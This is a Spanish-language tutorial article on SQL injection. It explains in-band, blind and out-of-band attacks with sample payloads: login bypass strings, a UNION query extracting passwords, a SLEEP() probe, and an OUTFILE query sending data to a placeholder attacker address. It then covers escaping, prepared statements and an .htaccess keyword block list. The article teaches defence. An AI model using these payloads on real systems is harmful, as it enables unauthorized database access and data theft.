\u00bfQu\u00e9 Es una Inyecci\u00f3n SQL?<\/h2>\n
SQL (Structured Query Language, Lenguaje de Consulta Estructurado) es un lenguaje que nos permite interactuar con las bases de datos<\/a>. Las aplicaciones web modernas utilizan bases de datos para gestionar datos y mostrar contenido din\u00e1mico a los lectores.<\/p>\n La inyecci\u00f3n SQL (o SQLi) se produce cuando un usuario intenta insertar sentencias SQL maliciosas en una aplicaci\u00f3n web. Si tienen \u00e9xito, podr\u00e1n acceder a datos sensibles de la base de datos.<\/p>\n En 2023, las inyecciones SQL siguen siendo algunos de los ataques m\u00e1s comunes en la web. S\u00f3lo en 2022, se a\u00f1adieron 1162 vulnerabilidades de inyecci\u00f3n SQL<\/a> a la base de datos de seguridad CVE.<\/p>\n La buena noticia es que las inyecciones SQL ya no son tan frecuentes como antes. La mayor\u00eda de las aplicaciones han evolucionado para protegerse de los ataques SQL.<\/p>\n En 2012, el 97% de las violaciones de datos<\/a> se deb\u00edan a inyecciones SQL. Hoy en d\u00eda, esa cifra sigue siendo alta, pero mucho m\u00e1s manejable.<\/p>\n Una vulnerabilidad de inyecci\u00f3n SQL da a un atacante acceso completo a la base de datos de tu aplicaci\u00f3n mediante el uso de sentencias SQL maliciosas.<\/p>\n Veamos un ejemplo de aplicaci\u00f3n vulnerable.<\/p>\n Imagina el flujo de trabajo de una aplicaci\u00f3n web t\u00edpica que implica peticiones a la base de datos a trav\u00e9s de entradas de usuario. Obtienes la entrada del usuario a trav\u00e9s de un formulario, por ejemplo un formulario de inicio de sesi\u00f3n. A continuaci\u00f3n, consultas a tu base de datos con los campos enviados por el usuario para autenticarlo. La estructura de la consulta a tu base de datos es algo as\u00ed:<\/p>\n Para simplificar, vamos a suponer que almacenas tus contrase\u00f1as en texto claro. Sin embargo, es una buena pr\u00e1ctica a\u00f1adir una sal (salt) a tus contrase\u00f1as<\/a> y luego aplicarles un hash. A continuaci\u00f3n, si has recibido el nombre de usuario y la contrase\u00f1a del formulario, puedes definir la consulta en PHP de la siguiente manera:<\/p>\n Si alguien introduce el valor \u00abadmin’;-\u00bb en el campo nombre de usuario, la consulta SQL resultante que genera la variable $db_query ser\u00e1 la siguiente:<\/p>\n \u00bfQu\u00e9 hace esta consulta?<\/p>\n En SQL, el s\u00edmbolo \u2014 inicia un comentario, por lo que todo lo que viene despu\u00e9s se ignora. Esto elimina la comprobaci\u00f3n de la contrase\u00f1a de la consulta. Como resultado, si \u00abadmin\u00bb es un nombre de usuario v\u00e1lido, el atacante puede entrar sin conocer la contrase\u00f1a. Al menos, si no hay seguridad contra este tipo de ataques.<\/p>\n Alternativamente, en este ejemplo tambi\u00e9n se puede utilizar un ataque booleano para obtener acceso. Si un atacante introduce \u00abcontrase\u00f1a’ o 1=1;-\u00bb en el campo de contrase\u00f1a, la consulta resultante ser\u00eda la siguiente:<\/p>\n En este caso, aunque tu contrase\u00f1a sea incorrecta, estar\u00edas autenticado en la aplicaci\u00f3n. Si tu p\u00e1gina web muestra los resultados de la consulta a la base de datos, un atacante puede utilizar el comando para mostrar las tablas, el comando para mostrar las tablas de la base de datos y, a continuaci\u00f3n, eliminar selectivamente las tablas si lo desea.<\/p>\n Exploits of a Mom, una popular tira c\u00f3mica de XKCD, muestra la conversaci\u00f3n de una madre con el colegio de su hijo, donde le preguntan si realmente llam\u00f3 a su hijo \u00abRobert’); DROP TABLE Students; \u2014\u00bb.<\/p>\n Ahora que conoces los fundamentos de una vulnerabilidad de inyecci\u00f3n SQL, vamos a explorar los distintos tipos de ataques de inyecci\u00f3n SQL y la raz\u00f3n que hay detr\u00e1s de cada uno de ellos.<\/p>\n La inyecci\u00f3n SQL in-band es la forma m\u00e1s sencilla de inyecci\u00f3n SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el c\u00f3digo SQL malicioso en la aplicaci\u00f3n, as\u00ed como recoger los resultados.<\/p>\n Veamos dos formas de ataques de inyecci\u00f3n SQLin-band.<\/p>\n Un ataque basado en errores se produce cuando alguien manipula intencionadamente la consulta SQL para generar un error en la base de datos. El mensaje de error devuelto por la base de datos suele incluir informaci\u00f3n sobre la estructura de la base de datos, que el atacante puede utilizar para explotar a\u00fan m\u00e1s el sistema.<\/p>\n Por ejemplo, un atacante puede introducir ‘ OR ‘1’=’1 en un campo de formulario. Si la aplicaci\u00f3n es vulnerable, puede devolver un mensaje de error que revele informaci\u00f3n sobre la base de datos.<\/p>\n Los ataques de inyecci\u00f3n SQL basados en uni\u00f3n utilizan el operador SQL UNION para combinar los resultados de la consulta original con los resultados de consultas maliciosas inyectadas.<\/p>\n Esto permite al atacante recuperar informaci\u00f3n de otras tablas de la base de datos:<\/p>\n En esta consulta, el operador UNION combina los resultados de la consulta original con los resultados de SELECT nombre_usuario<\/em>, contrase\u00f1a<\/em> FROM tabla_usuario<\/em>. Si la aplicaci\u00f3n es vulnerable y no sanitiza correctamente la entrada del usuario, podr\u00eda devolver una p\u00e1gina que incluyera nombres de usuario y contrase\u00f1as de la tabla de usuarios.<\/p>\n Aunque un atacante genere un error en la consulta SQL, puede que la respuesta de la consulta no se transmita directamente a la p\u00e1gina web. En este caso, el atacante tendr\u00e1 que indagar m\u00e1s.<\/p>\n En esta forma de inyecci\u00f3n SQL, el atacante env\u00eda varias consultas a la base de datos para evaluar c\u00f3mo analiza la aplicaci\u00f3n estas respuestas. Una inyecci\u00f3n SQL inferencial a veces tambi\u00e9n se conoce como inyecci\u00f3n SQL ciega.<\/p>\n A continuaci\u00f3n veremos dos tipos de inyecciones SQL inferenciales: la inyecci\u00f3n SQL booleana y la inyecci\u00f3n SQL basada en el tiempo.<\/p>\n Si una consulta SQL produce un error que no se ha gestionado internamente en la aplicaci\u00f3n, la p\u00e1gina web resultante puede lanzar un error, cargar una p\u00e1gina en blanco o cargarse parcialmente. En una inyecci\u00f3n SQL booleana, un atacante eval\u00faa qu\u00e9 partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cl\u00e1usula booleana a trav\u00e9s de la entrada:<\/p>\n Estas consultas est\u00e1n dise\u00f1adas para tener una condici\u00f3n que ser\u00e1 verdadera o falsa. Si la condici\u00f3n es verdadera, la p\u00e1gina se cargar\u00e1 normalmente. Si es falsa, la p\u00e1gina podr\u00eda cargarse de forma diferente o mostrar un error.<\/p>\n Observando c\u00f3mo se carga la p\u00e1gina, el atacante puede determinar si la condici\u00f3n era verdadera o falsa, aunque no vea la consulta SQL real ni la respuesta de la base de datos. Si re\u00fane varias condiciones similares, puede extraer lentamente informaci\u00f3n de la base de datos.<\/p>\n Un ataque de inyecci\u00f3n SQL basado en el tiempo puede ayudar a un atacante a determinar si existe una vulnerabilidad<\/a> en una aplicaci\u00f3n web. Un atacante utiliza una funci\u00f3n predefinida basada en el tiempo del sistema de gesti\u00f3n de bases de datos que utiliza la aplicaci\u00f3n. Por ejemplo, en MySQL<\/a>, la funci\u00f3n sleep()<\/a><\/em> ordena a la base de datos que espere un determinado n\u00famero de segundos.<\/p>\n Si una consulta de este tipo produce un retraso, el atacante sabr\u00eda que es vulnerable. Este enfoque es similar a los ataques booleanos en el sentido de que no obtienes una respuesta real de la base de datos. Sin embargo, puedes obtener informaci\u00f3n de ella si el ataque tiene \u00e9xito.<\/p>\n En un ataque de Inyecci\u00f3n SQL out-of-band, el atacante manipula la consulta SQL para ordenar a la base de datos que transmita datos a un servidor controlado por el atacante. Esto se consigue normalmente utilizando funciones de la base de datos que pueden solicitar recursos externos, como hacer peticiones HTTP o consultas DNS.<\/p>\n Un ataque de inyecci\u00f3n SQL out-of-band utiliza una funci\u00f3n externa de proceso de archivos de tu Sistema de Gesti\u00f3n de Bases de Datos (DBMS por sus siglas en ingl\u00e9s). En MySQL, se pueden utilizar las funciones LOAD_FILE() e INTO OUTFILE para solicitar a MySQL que transmita los datos a una fuente externa.<\/p>\n Aqu\u00ed tienes c\u00f3mo un atacante podr\u00eda utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa:<\/p>\n Del mismo modo, la funci\u00f3n LOAD_FILE() puede utilizarse para leer un archivo del servidor y mostrar su contenido. Se puede utilizar una combinaci\u00f3n de LOAD_FILE() y OUTFILE para leer el contenido de un archivo del servidor y luego transmitirlo a una ubicaci\u00f3n diferente.<\/p>\n Hasta ahora, hemos explorado las vulnerabilidades de una aplicaci\u00f3n web que pueden dar lugar a ataques de inyecci\u00f3n SQL. Una vulnerabilidad de inyecci\u00f3n SQL puede ser utilizada por un atacante para leer, modificar o incluso eliminar el contenido de tu base de datos.<\/p>\n Adem\u00e1s, tambi\u00e9n puede permitir leer un archivo en cualquier ubicaci\u00f3n del servidor y transferir su contenido a otro lugar. En esta secci\u00f3n, exploraremos varias t\u00e9cnicas para proteger tu aplicaci\u00f3n web y tu sitio web contra los ataques de inyecci\u00f3n SQL.<\/p>\n En general, es dif\u00edcil determinar si una cadena de usuario es maliciosa o no. Por lo tanto, un enfoque com\u00fan es escapar caracteres especiales en la entrada del usuario. Este proceso puede ayudar a proteger contra los ataques de inyecci\u00f3n SQL.<\/p>\n En PHP,\u00a0 puedes escapar una cadena antes de construir la consulta utilizando la funci\u00f3n Al mostrar la entrada del usuario como HTML, tambi\u00e9n es importante convertir los caracteres especiales a sus correspondientes caracteres HTML para evitar ataques de Cross-Site Scripting (XSS). Puedes convertir caracteres especiales en PHP utilizando la funci\u00f3n Alternativamente, puedes utilizar sentencias preparadas para evitar inyecciones SQL. Una sentencia preparada es una plantilla de una consulta SQL, en la que especificas par\u00e1metros en una fase posterior para ejecutarla.<\/p>\n Aqu\u00ed tienes un ejemplo de sentencia preparada en PHP y MySQLi:<\/p>\n El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a s\u00f3lo lo necesario.<\/p>\n Por ejemplo, puedes conectar tu aplicaci\u00f3n web al DBMS utilizando un usuario espec\u00edfico que s\u00f3lo tenga acceso a la base de datos pertinente.<\/p>\n Adem\u00e1s, querr\u00e1s restringir el acceso del usuario de la base de datos a todas las dem\u00e1s ubicaciones del servidor. Tambi\u00e9n es posible que desees bloquear determinadas palabras clave SQL en tu URL a trav\u00e9s de tu servidor web.<\/p>\n Si utilizas Apache<\/a> como servidor web, puedes utilizar las siguientes l\u00edneas de c\u00f3digo en tu archivo .htaccess<\/em><\/a> para mostrar un error403 Forbidden<\/em><\/a> a un posible atacante.<\/p>\n Debes tener cuidado antes de utilizar esta t\u00e9cnica, ya que Apache mostrar\u00e1 un error a un lector si la URL contiene estas palabras clave.<\/p>\n\u00bfC\u00f3mo Funciona la Vulnerabilidad de Inyecci\u00f3n SQL?<\/h2>\n
select * from user_table\nwhere username = 'sdaityari'\nand password = 'mypassword';<\/code><\/pre>\n\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query<\/code><\/pre>\nselect * from user_table where\nusername = 'admin';--' and password = 'mypassword'<\/code><\/pre>\nselect * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';<\/code><\/pre>\n![\"Exploits](\"https:\/\/kinsta.com\/wp-content\/uploads\/2023\/09\/sql-injection-cartoon.png\")
Tipos de Inyecci\u00f3n SQL<\/h2>\n
Inyecci\u00f3n SQL In-Band<\/h3>\n
Ataque Basado en Errores<\/h4>\n
Ataque Basado en Uni\u00f3n<\/h4>\n
select title, link from post_table\nwhere id < 10\nunion\nselect username, password\nfrom user_table; --;<\/code><\/pre>\nInyecci\u00f3n SQL Inferencial (Inyecci\u00f3n SQL Ciega)<\/h2>\n
Ataque Booleano<\/h4>\n
\n
Ataque Basado en el Tiempo<\/h4>\n
select * from comments\nWHERE post_id=1-SLEEP(15);<\/code><\/pre>\nInyecci\u00f3n SQL Out-of-Band<\/h2>\n
select * from post_table\ninto OUTFILE '\\\\MALICIOUS_IP_ADDRESSlocation'<\/code><\/pre>\nC\u00f3mo Evitar las Inyecciones SQL<\/h2>\n
Escapar las Entradas del Usuario<\/h3>\n
mysqli_real_escape_string()<\/code>:<\/p>\n$unsafe_variable = $_POST[\"user_input\"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);<\/code><\/pre>\nhtmlspecialchars()<\/code>.<\/p>\nUtilizar Sentencias Preparadas<\/h3>\n
$query = $mysql_connection->prepare(\"select * from user_table where username = ? and password = ?\");\n$query->execute(array($username, $password));<\/code><\/pre>\nOtras Comprobaciones de Higiene para Evitar Ataques SQL<\/h3>\n
RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n